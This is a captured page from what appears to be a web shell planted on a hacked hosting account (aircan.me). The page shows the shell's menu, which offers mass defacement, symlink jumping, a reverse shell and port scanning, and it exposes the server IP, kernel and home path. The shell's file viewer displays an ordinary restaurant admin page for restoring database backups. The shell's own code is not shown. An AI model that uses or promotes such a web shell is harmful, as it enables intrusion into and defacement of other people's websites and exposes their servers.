Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidamaylor
/
admin
/
Viewing: database_restore.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if (!$admin_id) { header('location:admin_login.php'); exit(); } date_default_timezone_set('America/Bogota'); $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Restaurar Base de Datos | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="../css/admin_style.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf-autotable/3.8.2/jspdf.plugin.autotable.min.js"></script> <style> body.db-page { background: #f1f5f9; min-height: 100vh } .db-wrap { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem 3rem } .db-heading { margin-bottom: 1.5rem } .db-heading h1 { font-size: 2rem; font-weight: 900; color: #1e293b; display: flex; align-items: center; gap: .7rem; margin: 0 } .db-heading h1 i { color: var(--admin-color-primary, #b30000) } .db-heading p { color: #64748b; font-weight: 600; margin: .35rem 0 0; font-size: .95rem } .db-card { background: #fff; border: 1px solid #e2e8f0; border-radius: 16px; box-shadow: 0 1px 3px rgba(0, 0, 0, .06); margin-bottom: 1.5rem; overflow: hidden } .db-card-header { padding: 1rem 1.3rem; border-bottom: 1px solid #f1f5f9; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: .75rem } .db-card-header h3 { margin: 0; font-size: 1.1rem; font-weight: 800; color: #1e293b; display: flex; align-items: center; gap: .55rem } .db-card-header h3 i { color: var(--admin-color-primary, #b30000) } .db-card-body { padding: 1.3rem } .creds-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1rem } .cred-field label { display: block; font-size: .78rem; font-weight: 700; color: #64748b; text-transform: uppercase; letter-spacing: .5px; margin-bottom: .35rem } .cred-field input { width: 100%; padding: .65rem .9rem; border-radius: 10px; border: 1px solid #e2e8f0; background: #f8fafc; color: #1e293b; font-family: 'Montserrat', sans-serif; font-size: .9rem; font-weight: 600; transition: border-color .2s, box-shadow .2s } .cred-field input:focus { outline: none; border-color: var(--admin-color-primary, #b30000); box-shadow: 0 0 0 3px rgba(179, 0, 0, .1) } /* ── Restore layout ── */ .restore-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin-bottom: 1.5rem } @media(max-width:768px) { .restore-grid { grid-template-columns: 1fr } } .restore-card { background: #fff; border: 1px solid #e2e8f0; border-radius: 16px; box-shadow: 0 1px 3px rgba(0, 0, 0, .06); padding: 1.5rem } .restore-card h3 { margin: 0 0 1rem; font-size: 1.05rem; font-weight: 800; color: #1e293b; display: flex; align-items: center; gap: .5rem } .restore-card h3 i { color: var(--admin-color-primary, #b30000) } .drop-zone { border: 2px dashed #cbd5e1; border-radius: 14px; padding: 2rem 1.5rem; text-align: center; cursor: pointer; transition: all .2s; background: #f8fafc } .drop-zone:hover, .drop-zone.dragover { border-color: var(--admin-color-primary, #b30000); background: rgba(179, 0, 0, .03) } .drop-zone i { font-size: 2.2rem; color: #cbd5e1; margin-bottom: .6rem; display: block } .drop-zone p { color: #94a3b8; font-weight: 700; font-size: .88rem; margin: 0 } .drop-zone .file-name { color: var(--admin-color-primary, #b30000); font-weight: 800; margin-top: .5rem; font-size: .85rem } .drop-zone input[type=file] { display: none } .backup-select { width: 100%; padding: .65rem .9rem; border-radius: 10px; border: 1px solid #e2e8f0; background: #f8fafc; color: #1e293b; font-family: 'Montserrat', sans-serif; font-size: .88rem; font-weight: 600; margin-bottom: .5rem; cursor: pointer } .btn-action { display: inline-flex; align-items: center; gap: .5rem; padding: .7rem 1.4rem; border-radius: 12px; border: none; font-family: 'Montserrat', sans-serif; font-weight: 700; font-size: .88rem; cursor: pointer; transition: all .15s } .btn-primary { background: var(--admin-color-primary, #b30000); color: #fff; box-shadow: 0 4px 14px rgba(179, 0, 0, .25) } .btn-primary:hover { box-shadow: 0 6px 20px rgba(179, 0, 0, .35); transform: translateY(-1px) } .btn-primary:disabled { opacity: .5; cursor: not-allowed; transform: none } .btn-primary i.spin { animation: dbSpin 1s linear infinite } @keyframes dbSpin { to { transform: rotate(360deg) } } .btn-restore-full { width: 100%; justify-content: center; margin-top: 1rem } .btn-ghost { background: #f8fafc; color: #64748b; border: 1px solid #e2e8f0 } .btn-ghost:hover { color: #1e293b; border-color: #cbd5e1; background: #f1f5f9 } .btn-danger-outline { background: #fff; color: #ef4444; border: 1px solid rgba(239, 68, 68, .3) } .btn-danger-outline:hover { background: rgba(239, 68, 68, .06); border-color: #ef4444 } .db-actions { display: flex; gap: .8rem; flex-wrap: wrap; align-items: center; margin-bottom: 1.5rem } /* ── Table ── */ .db-table-wrap { overflow-x: auto } .db-table { width: 100%; border-collapse: collapse } .db-table th { background: #f8fafc; padding: .72rem 1rem; text-align: left; font-weight: 800; color: #64748b; font-size: .75rem; text-transform: uppercase; letter-spacing: .5px; border-bottom: 1px solid #e2e8f0 } .db-table td { padding: .7rem 1rem; border-bottom: 1px solid #f1f5f9; color: #334155; font-size: .88rem; font-weight: 600 } .db-table tbody tr:hover td { background: #f8fafc } .status-badge { display: inline-flex; align-items: center; gap: .25rem; padding: .18rem .55rem; border-radius: 999px; font-size: .75rem; font-weight: 800 } .status-success { background: rgba(22, 163, 74, .1); color: #16a34a } .status-error { background: rgba(239, 68, 68, .1); color: #ef4444 } .empty-state { text-align: center; padding: 2.5rem 1.5rem; color: #94a3b8; font-weight: 700; font-size: .92rem } .empty-state i { font-size: 2rem; margin-bottom: .6rem; display: block; color: #cbd5e1 } /* ── Toast ── */ .db-toast { position: fixed; top: 90px; right: 20px; z-index: 9999; padding: .85rem 1.3rem; border-radius: 12px; font-weight: 700; font-size: .88rem; color: #fff; box-shadow: 0 10px 30px rgba(0, 0, 0, .2); transform: translateX(120%); transition: transform .35s ease; display: flex; align-items: center; gap: .6rem; max-width: 400px } .db-toast.show { transform: translateX(0) } .db-toast.success { background: #16a34a } .db-toast.error { background: #ef4444 } /* ── Modal ── */ .db-modal-overlay { position: fixed; inset: 0; background: rgba(0, 0, 0, .4); backdrop-filter: blur(4px); z-index: 10000; display: none; place-items: center } .db-modal-overlay.show { display: grid } .db-modal { background: #fff; border: 1px solid #e2e8f0; border-radius: 20px; padding: 1.8rem 2rem; max-width: 440px; width: 90%; box-shadow: 0 25px 60px rgba(0, 0, 0, .2); animation: dbModalIn .25s ease } @keyframes dbModalIn { from { opacity: 0; transform: scale(.95) translateY(8px) } to { opacity: 1; transform: scale(1) translateY(0) } } .db-modal h3 { margin: 0 0 .7rem; color: #1e293b; font-size: 1.15rem; font-weight: 900; display: flex; align-items: center; gap: .5rem } .db-modal h3 i { color: #f59e0b } .db-modal p { color: #64748b; font-weight: 600; font-size: .9rem; line-height: 1.6; margin: 0 0 1.3rem } .db-modal-actions { display: flex; gap: .7rem; justify-content: flex-end } .btn-modal-cancel { padding: .6rem 1.1rem; border-radius: 10px; border: 1px solid #e2e8f0; background: #fff; color: #64748b; font-family: 'Montserrat', sans-serif; font-weight: 700; font-size: .85rem; cursor: pointer; transition: all .15s } .btn-modal-cancel:hover { background: #f1f5f9; color: #1e293b } .btn-modal-confirm { padding: .6rem 1.3rem; border-radius: 10px; border: none; background: #ef4444; color: #fff; font-family: 'Montserrat', sans-serif; font-weight: 800; font-size: .85rem; cursor: pointer; transition: all .15s; box-shadow: 0 4px 14px rgba(239, 68, 68, .25) } .btn-modal-confirm:hover { box-shadow: 0 6px 20px rgba(239, 68, 68, .4) } @media(max-width:640px) { .db-wrap { padding: 0 1rem 2rem } .db-heading h1 { font-size: 1.5rem } .creds-grid { grid-template-columns: 1fr } .db-actions { flex-direction: column; align-items: stretch } .btn-action { justify-content: center } } </style> </head> <body class="admin-panel db-page"> <?php include '../components/admin_header.php'; ?> <section class="db-wrap"> <div class="db-heading"> <h1 style="margin-top: 15px"><i class="fas fa-arrow-rotate-left"></i> Restaurar Base de Datos</h1> <p>Restaura tu base de datos desde un archivo de respaldo SQL</p> </div> <!-- Restore Methods --> <div class="restore-grid"> <div class="restore-card"> <h3><i class="fas fa-file-arrow-up"></i> Subir Archivo SQL</h3> <div class="drop-zone" id="drop-zone" onclick="document.getElementById('sql-file').click()"> <i class="fas fa-cloud-arrow-up"></i> <p>Arrastra tu archivo .sql aquí o haz clic para seleccionar</p> <div class="file-name" id="file-name-display"></div> <input type="file" id="sql-file" accept=".sql"> </div> <button class="btn-action btn-primary btn-restore-full" id="btn-upload" onclick="restoreUpload()" disabled> <i class="fas fa-arrow-rotate-left" id="upload-icon"></i> Restaurar desde Archivo </button> </div> <div class="restore-card"> <h3><i class="fas fa-folder-open"></i> Desde Respaldo Existente</h3> <p style="color:#94a3b8;font-size:.85rem;font-weight:600;margin:0 0 .8rem">Selecciona uno de los respaldos creados previamente:</p> <select class="backup-select" id="existing-backup"> <option value="">— Cargando —</option> </select> <button class="btn-action btn-primary btn-restore-full" id="btn-existing" onclick="restoreExisting()" disabled> <i class="fas fa-arrow-rotate-left" id="existing-icon"></i> Restaurar Seleccionado </button> </div> </div> <!-- Actions --> <div class="db-actions"> <button class="btn-action btn-ghost" onclick="exportPDF()"><i class="fas fa-file-pdf"></i> Exportar PDF</button> <button class="btn-action btn-danger-outline" onclick="showClearModal()"><i class="fas fa-trash-alt"></i> Limpiar Historial</button> </div> <!-- History --> <div class="db-card"> <div class="db-card-header"> <h3><i class="fas fa-clock-rotate-left"></i> Historial de Restauraciones</h3> </div> <div class="db-table-wrap"> <table class="db-table" id="history-table"> <thead> <tr> <th>#</th> <th>Fecha y Hora</th> <th>Archivo</th> <th>Estado</th> <th>Notas</th> </tr> </thead> <tbody id="history-body"> <tr> <td colspan="5"> <div class="empty-state"><i class="fas fa-spinner fa-spin"></i>Cargando...</div> </td> </tr> </tbody> </table> </div> </div> </section> <div class="db-toast" id="db-toast"></div> <!-- Clear Modal --> <div class="db-modal-overlay" id="clear-modal"> <div class="db-modal"> <h3><i class="fas fa-triangle-exclamation"></i> ¡Atención!</h3> <p>Estás a punto de <strong>eliminar todo el historial de restauraciones</strong>. Esta acción es irreversible.<br><br> <i class="fas fa-lightbulb" style="color:#f59e0b"></i> <strong>Recomendación:</strong> Exporta el historial en PDF antes de continuar. </p> <div class="db-modal-actions"> <button class="btn-modal-cancel" onclick="closeClearModal()">Cancelar</button> <button class="btn-modal-confirm" onclick="confirmClear()"><i class="fas fa-trash-alt"></i> Sí, Limpiar</button> </div> </div> </div> <!-- Restore Confirm Modal --> <div class="db-modal-overlay" id="restore-modal"> <div class="db-modal"> <h3><i class="fas fa-triangle-exclamation"></i> Confirmar Restauración</h3> <p>Estás a punto de <strong>restaurar la base de datos</strong>. Esto <strong>reemplazará todos los datos actuales</strong>.<br><br> <i class="fas fa-shield-halved" style="color:#ef4444"></i> <strong>Importante:</strong> Asegúrate de tener un respaldo reciente antes de continuar. </p> <div class="db-modal-actions"> <button class="btn-modal-cancel" onclick="closeRestoreModal()">Cancelar</button> <button class="btn-modal-confirm" onclick="executeRestore()"><i class="fas fa-arrow-rotate-left"></i> Sí, Restaurar</button> </div> </div> </div> <script src="../js/admin_script.js"></script> <script> let restoreType = null; function showToast(m, t = 'success') { const e = document.getElementById('db-toast'); e.className = 'db-toast ' + t; e.innerHTML = '<i class="fas fa-' + (t === 'success' ? 'check-circle' : 'exclamation-circle') + '"></i> ' + m; e.classList.add('show'); setTimeout(() => e.classList.remove('show'), 4000) } // Drop zone const dz = document.getElementById('drop-zone'), fi = document.getElementById('sql-file'), fd = document.getElementById('file-name-display'); ['dragenter', 'dragover'].forEach(e => dz.addEventListener(e, ev => { ev.preventDefault(); dz.classList.add('dragover') })); ['dragleave', 'drop'].forEach(e => dz.addEventListener(e, ev => { ev.preventDefault(); dz.classList.remove('dragover') })); dz.addEventListener('drop', ev => { if (ev.dataTransfer.files.length) { fi.files = ev.dataTransfer.files; onFile() } }); fi.addEventListener('change', onFile); function onFile() { const f = fi.files[0]; if (f) { fd.textContent = '📄 ' + f.name + ' (' + (f.size / 1024 / 1024).toFixed(2) + ' MB)'; document.getElementById('btn-upload').disabled = false } else { fd.textContent = ''; document.getElementById('btn-upload').disabled = true } } function restoreUpload() { if (!fi.files[0]) { showToast('Selecciona un archivo', 'error'); return } restoreType = 'upload'; document.getElementById('restore-modal').classList.add('show') } function restoreExisting() { if (!document.getElementById('existing-backup').value) { showToast('Selecciona un respaldo', 'error'); return } restoreType = 'file'; document.getElementById('restore-modal').classList.add('show') } function closeRestoreModal() { document.getElementById('restore-modal').classList.remove('show'); restoreType = null } async function executeRestore() { const currentRestoreType = restoreType; closeRestoreModal(); const fd2 = new FormData(); fd2.append('action', 'restore'); let btn, icon; if (currentRestoreType === 'upload') { fd2.append('source', 'upload'); fd2.append('sql_file', fi.files[0]); btn = document.getElementById('btn-upload'); icon = document.getElementById('upload-icon') } else { fd2.append('source', 'file'); fd2.append('filename', document.getElementById('existing-backup').value); btn = document.getElementById('btn-existing'); icon = document.getElementById('existing-icon') } btn.disabled = true; icon.className = 'fas fa-spinner spin'; try { const r = await fetch('database_api.php', { method: 'POST', body: fd2 }); const raw = await r.text(); try { const d = JSON.parse(raw); showToast(d.message, d.success ? 'success' : 'error'); if(d.success) loadHistory(); } catch(e) { showToast('Error del servidor: ' + raw.substring(0, 50), 'error'); console.error('Raw response:', raw); } } catch (e) { showToast('Error de red: ' + e.message, 'error') } finally { btn.disabled = false; icon.className = 'fas fa-arrow-rotate-left'; restoreType = null } } async function loadHistory() { try { const r = await fetch('database_api.php?action=list&type=restore'); const d = await r.json(); if (!d.success) return; const tb = document.getElementById('history-body'), h = d.history || []; if (!h.length) { tb.innerHTML = '<tr><td colspan="5"><div class="empty-state"><i class="fas fa-inbox"></i>No hay restauraciones registradas</div></td></tr>'; return } tb.innerHTML = h.map((x, i) => `<tr> <td>${i + 1}</td><td style="white-space:nowrap">${x.timestamp || '—'}</td> <td style="font-size:.82rem;word-break:break-all">${x.filename || '—'}</td> <td><span class="status-badge status-${x.status}"><i class="fas fa-${x.status === 'success' ? 'check' : 'xmark'}"></i> ${x.status === 'success' ? 'Exitoso' : 'Error'}</span></td> <td style="font-size:.82rem;max-width:200px;overflow:hidden;text-overflow:ellipsis">${x.notes || '—'}</td> </tr>`).join(''); // Load existing backups const r2 = await fetch('database_api.php?action=list&type=backup'); const d2 = await r2.json(); const sel = document.getElementById('existing-backup'), files = d2.files || []; sel.innerHTML = files.length ? files.map(f => `<option value="${f}">${f}</option>`).join('') : '<option value="">— No hay respaldos —</option>'; document.getElementById('btn-existing').disabled = !files.length } catch (e) { console.error(e) } } function showClearModal() { document.getElementById('clear-modal').classList.add('show') } function closeClearModal() { document.getElementById('clear-modal').classList.remove('show') } async function confirmClear() { closeClearModal(); try { const fd2 = new FormData(); fd2.append('action', 'clear_history'); fd2.append('type', 'restore'); const r = await fetch('database_api.php', { method: 'POST', body: fd2 }); const d = await r.json(); showToast(d.message, d.success ? 'success' : 'error'); loadHistory() } catch (e) { showToast('Error', 'error') } } function exportPDF() { const { jsPDF } = window.jspdf; const doc = new jsPDF(); const rows = document.querySelectorAll('#history-table tbody tr'); if (!rows.length || rows[0].querySelector('.empty-state')) { showToast('No hay datos para exportar', 'error'); return } doc.setFontSize(16); doc.setTextColor(30, 41, 59); doc.text('Historial de Restauraciones — ' + <?= json_encode($businessName); ?>, 14, 20); doc.setFontSize(9); doc.setTextColor(100, 116, 139); doc.text('Generado: ' + new Date().toLocaleString('es-CO'), 14, 27); const data = []; rows.forEach(r => { const c = r.querySelectorAll('td'); if (c.length >= 4) data.push([c[0].textContent.trim(), c[1].textContent.trim(), c[2].textContent.trim(), c[3].textContent.trim(), c[4]?.textContent.trim() || '']) }); doc.autoTable({ head: [['#', 'Fecha', 'Archivo', 'Estado', 'Notas']], body: data, startY: 33, styles: { fontSize: 8 }, headStyles: { fillColor: [179, 0, 0], textColor: 255, fontStyle: 'bold' }, alternateRowStyles: { fillColor: [248, 250, 252] } }); doc.save('historial_restauraciones_' + new Date().toISOString().slice(0, 10) + '.pdf'); showToast('PDF exportado correctamente') } document.addEventListener('DOMContentLoaded', loadHistory); </script> </body> </html>
Coded With 💗 by
0x6ick